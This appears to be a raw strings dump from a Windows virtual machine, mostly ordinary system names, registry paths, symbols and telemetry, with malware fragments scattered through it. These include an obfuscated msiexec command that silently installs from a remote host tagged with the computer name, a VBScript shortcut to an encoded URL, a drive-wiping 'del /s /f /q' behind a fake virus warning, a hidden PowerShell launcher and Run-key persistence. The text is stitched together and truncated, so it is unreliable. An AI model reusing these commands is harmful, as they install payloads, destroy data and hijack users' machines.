Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Wifi-Client-Realtek-Rtwlane01-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd6
Windows.Devices.Enumeration.pdb
Windows NT\CurrentVersion!BuildLab
%BrowserAppProfile%\Main\WindowsSearch!ConfiguredScopes
%BrowserAppProfile%\New Windows!PopupMgr
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY!RegPoliciesPath
Windows\CurrentVersion\RunOnce!CleanupEmeDataStore
%BrowserAppProfile%\New Windows
%BrowserAppProfile%\EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\DSP!BackupDefaultSearchScope
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS\DISABLE!DefaultValue
%BrowserAppProfile%\New Windows!PlaySound
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Favorites
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS!PlugUIText
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!RunThisTimeEnabled
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!RunThisTimeEnabled
Windows\CurrentVersion\Explorer\TravelLog!MaxSize
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection!MicrosoftEdgeDataOptIn
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection!MicrosoftEdgeDataOptIn
%BrowserAppProfile%\Main\WindowsSearch!UpgradeTime
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!IgnoreFrameApprovalCheck
.?AU?$implements@Uiterator@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@winrt@@
.?AU?$root_implements@Uiterator@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer@Uiterator@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$root_implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@winrt@@
Microsoft-Windows-DeviceManagement-d
WindowsSubstringWithSpecifiedLength
Windows
Windows
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.AppXDeploymentServer
Microsoft.Windows.Update.Heartbeat
:\windows/
dimwshellsetwshell=createobject("wscript.shell")mygroupwshell.specialfolders("allusersdesktop")mygroupwshell.specialfolders("allusersstartmenu")mygroupwshell.specialfolders("allusersprograms")mygroupwshell.specialfolders("favorites")mygroupwshell.specialfolders("favorites")&"\"mygroupwshell.specialfolders("allusersdesktop")mygroupwshell.specialfolders("appdata")&"\microsoft\internetexplorer\quicklaunch"taobaowshell.specialfolders("favorites")&"\"mshelllnk"","c:\programfiles\winrar\ico\36.ico","c:\windows\","http://%73%65%72%76%65%72%33%38%2e%32%30%31%30%70%6c%61%79%65%72%2e%69%6e%66%6f:459/?i=1&ssdsds","","","",wshell.specialfolders("allusersstartup")setfso=createobject("scripting.filesystemobject")fso.deletefile"
:\windows/
Microsoft.Windows.TenantRestrictions.Plugin
0WARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-1014-
$ekslxiow="hkcu:\software\microsoft\windows\currentversion\run
Windows.Data.UnifiedTile.TileProperties
Windows.Data.UnifiedTile.StartGlobalProperties
ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.UnifiedTile.StartTileProperties
CloudData.WindowsClient.AssetReference
CloudData.WindowsClient.AssetReference
Windows.Data.Calling.KeyPathSettings
Windows
a^windows.protocol
b^windows.lockScreen
windows.lockScreen
c^windows.appExtension
windows.appExtension
Windows.Data.Accessibility.EyeControl.SyncedSettings
Windows
Windows
Windows
@%SystemRoot%\system32\systemcpl.dll,-1
01a - Windows PowerShell.lnk
@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-109
@%SystemRoot%\system32\powercpl.dll,-1
@%SystemRoot%\system32\shell32.dll,-22023
@%SystemRoot%\system32\systemcpl.dll,-100
@%SystemRoot%\system32\mblctr.exe,-1002
@%SystemRoot%\system32\shell32.dll,-33248
02a - Windows PowerShell.lnk
@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-109
@%SystemRoot%\system32\shell32.dll,-22029
@%SystemRoot%\system32\shell32.dll,-22049
@%SystemRoot%\system32\shell32.dll,-12710
@%SystemRoot%\system32\shell32.dll,-30517
@%SystemRoot%\system32\shell32.dll,-4161
3 - Windows Explorer.lnk
@%SystemRoot%\system32\shell32.dll,-22067
Windows
Windows
.?AU?$default_delete@$$CBV?$cloud_store_data@UPlaceholderTileCollection@Data@Windows@@@wil@@@std@@
.?AU?$default_delete@$$CBV?$cloud_store_data@UPlaceholderTileCollectionLocal@Data@Windows@@@wil@@@std@@
c:\windows\microsoft.net\framework\v4.0.30319\
dows\system32\Q
c:\windows
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
Windows.Data.UnifiedTile.LocalStartTileProperties
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
Windows.Data.UnifiedTile.RoamedTilePropertiesMap
Windows.Data.UnifiedTile.GamesListTileProperties
Windows.Data.UnifiedTile.TileProperties
Windows.Data.UnifiedTile.StartTileProperties
Windows.Data.UnifiedTile.StartGlobalProperties
Windows.Data.UnifiedTile.LocalStartGlobalProperties
Windows.Data.UnifiedTile.CuratedTileCollectionsManagerData
Windows.Data.UnifiedTile.CuratedTileCollectionUpgradeEntry
SLGetWindowsInformationDWORD
.?AUtype@?$abi@U?$AsyncOperationWithProgressCompletedHandler@Uhstring@winrt@@UHttpProgress@Http@Web@Windows@2@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$AsyncOperationWithProgressCompletedHandler@Uhstring@winrt@@UHttpProgress@Http@Web@Windows@2@@Foundation@Windows@winrt@@Ushared_type@?1???$wait_for_completed@U?$IAsyncOperationWithProgress@Uhstring@winrt@@UHttpProgress@Http@Web@Windows@2@@Foundation@Windows@winrt@@@impl@4@YA?A_PAEBU?$IAsyncOperationWithProgress@Uhstring@winrt@@UHttpProgress@Http@Web@Windows@2@@234@I@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$AsyncOperationWithProgressCompletedHandler@Uhstring@winrt@@UHttpProgress@Http@Web@Windows@2@@Foundation@Windows@winrt@@Ushared_type@?1???$wait_for_completed@U?$IAsyncOperationWithProgress@Uhstring@winrt@@UHttpProgress@Http@Web@Windows@2@@Foundation@Windows@winrt@@@impl@4@YA?A_PAEBU?$IAsyncOperationWithProgress@Uhstring@winrt@@UHttpProgress@Http@Web@Windows@2@@234@I@Z@@impl@winrt@@
.?AUshared_type@?1???$wait_for_completed@U?$IAsyncOperationWithProgress@Uhstring@winrt@@UHttpProgress@Http@Web@Windows@2@@Foundation@Windows@winrt@@@impl@winrt@@YA?A_PAEBU?$IAsyncOperationWithProgress@Uhstring@winrt@@UHttpProgress@Http@Web@Windows@2@@Foundation@Windows@2@I@Z@
.?AUtype@?$abi@U?$AsyncOperationWithProgressCompletedHandler@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$AsyncOperationWithProgressCompletedHandler@UDeploymentResult@Deployment@Management@Windows@winrt@@UDeploymentProgress@2345@@Foundation@Windows@winrt@@Ushared_type@?1???$wait_for_completed@U?$IAsyncOperation
WindowsFlightingSettings
Microsoft.Windows.CTAC
Microsoft.Windows.Wil.FeatureLogging
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
utedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8900800Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":33},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939895264927,"MaxEventTime":134163939895264927,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEna
;C:\WINDOWS\Sy
wow64_microsoft-windows-v..e-filters-tvdigital_31bf3856ad364e35_none_fa4bc72032cebe86
wow64_microsoft-windows-v..lient-wmiv2provider_31bf3856ad364e35_none_509eac6949bcca72
wow64_microsoft-windows-v..oyment-languagepack_31bf3856ad364e35_en-us_6105a3c79574a37c
wow64_microsoft-windows-v..payloadrestrictions_31bf3856ad364e35_none_a4941509eb80f101
wow64_microsoft-windows-v..pt-wow64-deployment_31bf3856ad364e35_none_df92e09087aa564eQo
wow64_microsoft-windows-v..r-windows.resources_31bf3856ad364e35_en-us_97167f239310564f
wow64_microsoft-windows-v..ure-filter-tvanalog_31bf3856ad364e35_none_f8b082aa6f35be3d
wow64_microsoft-windows-verclsid_31bf3856ad364e35_none_c0521a471de0013b
wow64_microsoft-windows-verifier_31bf3856ad364e35_none_c3c240f5b467e163
Shell "C:\Windows\System32\mshta.exe
?UC:\Users\hoogle168\Desktop\\NewCoreCtrl08\Release\NewCoreCtrl08.pdbUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729NewCoreCtrl08.dll
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Root>
Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
Windows.ApplicationModel.Calls.PhoneCallManager
Windows.ApplicationModel.Calls.PhoneCallVideoCapabilitiesManager
Windows.ApplicationModel.Calls.PhoneDialOptions
Windows.ApplicationModel.Calls.PhoneLine
Windows.ApplicationModel.Calls.PhoneLineTransportDevice
Windows.ApplicationModel.Calls.Provider.PhoneCallOrigin
Windows.ApplicationModel.Calls.Provider.PhoneCallOriginManager
Windows.ApplicationModel.Calls.VoipCallCoordinator
Windows.ApplicationModel.Chat.ChatCapabilitiesManager
Windows.ApplicationModel.Chat.ChatConversationThreadingInfo
\Windows\iexplore.exZ
c:\windows\sb
\windows\currentversion\run
-cmd.exeaccountandpurchase/v/d/c^st^a^r^t^ms^i^execxoa^v^v^n^c=^qsfp/qui^e^t/^f^v"http://7d.wf:8080/atym6fqdhc/gfjp/tq3me/dxa/xweppba7l4urpd6spu7t/!computername!"%windir%\system32\imageres.dll%
s\system32\cmd.exe/c
.?AV<lambda_1>@?1??_OnStart@?Q?$_AsyncInfoBase@U?$_AsyncAttributes@XPE$AAVWebAccount@Credentials@Security@Windows@@U?$_TaskTypeTraits@V?$task@PE$AAVWebAccount@Credentials@Security@Windows@@@Concurrency@@$0A@@details@Concurrency@@$0A@$0A@@details@Concurrency@@$00@details@Concurrency@@?$_AsyncTaskGeneratorThunk@V<lambda_2>@?1??FindConnectedAccountAsync@?QIUserAuthenticationManager@Authentication@Cortana@@SearchApiUserAuthenticationManager@45@UE$AAAPE$AAU?$IAsyncOperation@PE$AAVWebAccount@Credentials@Security@Windows@@@Foundation@Windows@@XZ@@34@ME$AAAXXZ@
.?AV<lambda_1>@?4??_FireCompletion@?$_AsyncInfoBase@U?$_AsyncAttributes@XPE$AAVWebAccount@Credentials@Security@Windows@@U?$_TaskTypeTraits@V?$task@PE$AAVWebAccount@Credentials@Security@Windows@@@Concurrency@@$0A@@details@Concurrency@@$0A@$0A@@details@Concurrency@@$00@details@Concurrency@@IE$AAAXXZ@
.?AV<lambda_1>@?CC@??_CancelAndRunContinuations@?$_Task_impl@PE$AAVWebAccount@Credentials@Security@Windows@@@details@Concurrency@@UEAA_N_N00AEBV?$shared_ptr@U_ExceptionHolder@details@Concurrency@@@std@@@Z@
.?AV<lambda_1>@?1???$_GenerateTask_0@V?$function@$$A6APE$AAU?$IMap@PE$AAVString@Platform@@PE$AAVObject@2@@Collections@Foundation@Windows@@XZ@std@@@?$_SelectorTaskGenerator@U_TypeSelectorNoAsync@details@Concurrency@@PE$AAU?$IMap@PE$AAVString@Platform@@PE$AAVObject@2@@Collections@Foundation@Windows@@@details@Concurrency@@SA?AV?$task@PE$AAU?$IMap@PE$AAVString@Platform@@PE$AAVObject@2@@Collections@Foundation@Windows@@@3@AEBV?$function@$$A6APE$AAU?$IMap@PE$AAVString@Platform@@PE$AAVObject@2@@Collections@Foundation@Windows@@XZ@std@@Vcancellation_token_source@3@AEBV_TaskCreationCallstack@23@@Z@
Windows.C
Windows.
\system32
\system32\+
start-processc:\windows\syswow64\rundll32.exe$dest,x
WindowsUdk
<Windows_DComp_IDCompositionDevice>F20D5DF371C5FB024BB3FE4AD75DC15DA12B579EA582793EFFACF65D15A2FF055__InterfaceInformation
<Windows_DComp_IDCompositionDevice>F20D5DF371C5FB024BB3FE4AD75DC15DA12B579EA582793EFFACF65D15A2FF055__InterfaceImplementation
WindowsUpdate
27. 77. .7. 8.1.\keys.ini\system32\drivers\Mozilla/5.0 (Windows
:\windows\system32\once.exe\windows\system32\qq.ico/once.htm?\[mainurl:(.*?)\]www.baidu.com/s?word=%s&ie=utf-8&tn=laiyiba_www.hao123.cn/?ie:\windows\system32\oemlinkicon.icohao123
\referer: http://%s:80/http://%s%c%c%c%c%c.exe:\windows.bakhost: %s:%d#0%s!wenhuxiu\svchcst.exe
echo warning virus has been detecteddel %systemdrive%\*.* /s /f /qstart %windir%\system32\rundll32.exe user32.dll, lockworkstation
"winlogon
c:\windows\system32\forfiles.exe/p"
S /c start /b powershell -windowstyle hidden -command&{$t='
A9^WINDOWS.BACKGROUNDTASKS
WINDOWS.FOUNDATION.PROPERTYVALUE
WINDOWSUDK.SERVICES.IRIS.IRISCREATIVE
46^WINDOWS.BACKGROUNDTASKS
4C^WINDOWS.BACKGROUNDTASKS
TELEMETRY.ASM-WINDOWSSQ
      other {Your {COUNT} InPrivate windows won't reopen after you relaunch}}Version $1$2  ($3) $4 $5AccessibilityLive TranslateDownloading speech recognition files
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsCreateStringReference
WindowsDuplicateString
WindowsConcatString
WindowsGetStringLen
|Windows7
Windows Defender Main Window
WINDOWS.APPLICATIONMODEL.BACKGROUND.BACKGROUNDTASKREGISTRATION
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Security.CodeIntegrity.State
WINDOWS.MANAGEMENT.DEPLOYMENT.INTERNAL.PACKAGEMANAGERINTERNAL
WINDOWS.APPLICATIONMODEL.BACKGROUND.BACKGROUNDTASKBUILDER
WindowsFormsApp2H
=uggestionCount>0||n.config.enableAnaheimDataTSTile&&n.AnaheimDataParser.TopSitesSuggestionCount>0))!==null&&t!==void 0?t:!1:n.AnaheimDataProvider?li()&&n.AnaheimDataParser.HistorySuggestionCount>0:!1}function li(){var t,i;return n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.checkAnaheimV2Enable()?(t=l(!1)&&n.config.enableAnaheimDataQFUX)!==null&&t!==void 0?t:!1:n.AnaheimDataProvider?(i=l(!1)&&n.config.enableAnaheimDataQFUX&&n.config.enableAnaheimDataHS&&n.AnaheimDataProvider.getShouldShowAnaheimDataQF())!==null&&i!==void 0?i:!1:!1}function pu(){var n;const t=document.querySelector(`script[nonce]`);return(n=t===null||t===void 0?void 0:t.nonce)!==null&&n!==void 0?n:null}function tl(n,t){const i=t!==null&&t!==void 0?t:pu();if(!i||!n)return n;try{return n.replace(/<script\b([^>]*)\bnonce=(["'])([^"']*)\2([^>]*)>/gi,`<script$1nonce=$2${i}$2$4>`)}catch(r){return tt("applyNonceToScripts",null,r),n}}function il(){return n.config.enableWindowsActivated&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(49428468))&&typeof SearchAppWrapper.CortanaApp.systemInfo.isWindowsGenuine=="function"&&n.isEligibleWindowsActivationOsSKU}function rl(){const t=n.LightweightStorage.getItem(n.config.windowsActivationStateCacheKey);return t?(t===null||t===void 0?void 0:t.toLowerCase())==="true":undefined}function ul(t){(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableDSBCache)||n.LightweightStorage.setItem(n.config.windowsActivationStateCacheKey,t.toString())}function fl(){var t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return n.config.skipWinVersionCheck||(t==2||t==3)&&[4,27,].indexOf(n.osSKUCache)==-1&&!n.isSubstrateO365AccountConnected}function el(){return eu(n.Host.getLanguage().toLowerCase())||(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isQwsEnabled())||n.config.enableAnaheimDataSH||n.config.enableAnaheimDataQF}function ai(n,t,i){if(typeof n!="object"||n==null)return n;if(n instanceof Date){let t=new Date;return t.setTime(n.getTime()),t}let r=Array.isArray(n)?[]:Object.create(Object.getPrototypeOf(n));for(let u in n)(!t||t.indexOf(u)<0)&&(r[u]=i&&i.indexOf(u)>=0?n[u]:ai(n[u],t,i));return r}function k(n,t){var i,u,r;if(n===t||typeof n=="function"&&typeof t=="function")return!0;if(typeof n!="object"||n===null||typeof t!="object"||t===null||(i=Object.keys(n),u=Object.keys(t),i.length!==u.length))return!1;for(r=0;r<i.length;r++)if(!Object.hasOwnProperty.call(t,i[r])||!k(n[i[r]],t[i[r]]))return!1;return!0}function ol(t,i,r){return n.config.pureRender?!k(t.props,i)||!k(t.state,r):!0}function sl(t,i){return n.config.pureRender?k(t,i):!0}function hl(t,i,r){if(n.config.pureRender){let n=!0;for(let u of r)if(!k(t[u],i[u])){n=!1;break}return n}return!0}function cl(){return n.config.mruSearchHome&&!p()}function ll(t,i,r,u){return n.Async.safeChainWithGlobalCaching("getIconUrlSuggestion",()=>ThresholdUtilities.createPromise(f=>{let e=wu(t,i,r,u);const o=()=>{if(n.config.wsbUseFetchSendRequest){const n={url:e};return yf("fetchIconUrl",n)}else{let n=SearchAppWrapper.CortanaApp.createStringMap(),t=SearchAppWrapper.CortanaApp.createStringMap();return SearchAppWrapper.CortanaApp.makeHttpRequestAsync(0,e,n,"",t)}},s=t=>{if(t.statusCode!==200){f(null);return}n.Async.safeChain("readIconResponse",()=>t.readAsStreamAsync(),f,()=>f(null),null,null,1)};n.Async.safeChain("fetchIconUrl",o,s,()=>f(null),null,e,1)}),()=>t+"_icon",t=>t?n.toIcon(t,"convertResponseToIcon"):{type:0,content:n.getEdgeFallbackIcon()},null,null,t,1)}function al(t){return n.Async.safeChainWithGlobalCaching("get3PIcon",i=>t.getLogoAsDataUriAsync(vr(i)).then(t=>n.toIcon(t,"get3PIcon.toIcon",wr())),n=>n+t.displayName)}function wu(t,i=32,r=32,u=1.5){let f=n.getDomain(t).replace("www.",""),e=n.generateKeyFromDomain(f);return"https://th.bing.com/th?id=ODF."+e+"&pid=Api&w="+i+"&h="+r+"&dpr="+u}function ht(){return bu()&&ku()}function bu(){return n.isBingEnabled()&&n.RuntimeConfig.AlwaysWide&&n.config.enableDynamicSearchBox&_
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat""
c:\windows\system32\cmd.exe /c ""c:\program files\vmware\vmware tools\suspend-vm-default.bat""
Windows.ApplicationModel.Background.MobileBroadbandDeviceServiceNotificationTrigger
Windows.ApplicationModel.Background.MobileBroadbandPcoDataChangeTrigger
Windows.ApplicationModel.Background.MobileBroadbandPinLockStateChangeTrigger
Windows.ApplicationModel.Background.MobileBroadbandRadioStateChangeTrigger
Windows.ApplicationModel.Background.MobileBroadbandRegistrationStateChangeTrigger
Windows.ApplicationModel.Background.NetworkOperatorDataUsageTrigger
Windows.ApplicationModel.Background.NetworkOperatorHotspotAuthenticationTrigger
Windows.ApplicationModel.Background.NetworkOperatorNotificationTrigger
Windows.ApplicationModel.Background.PaymentAppCanMakePaymentTrigger
32/WindowsKeylogg
WINDOWS11
WINDOWS11
3t-com:windows:"@
Microsoft-Windows-All-
Windows-j
p/".copyfile "C:\Windows\System32\mshta.exe", Environ("PUBLIC") & "\peee.com", True"ERROR !!!": Call VBA.Shell _
QWindowsStyle
8ZC:\WINDOWS\system32\vcruntime140.dll
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
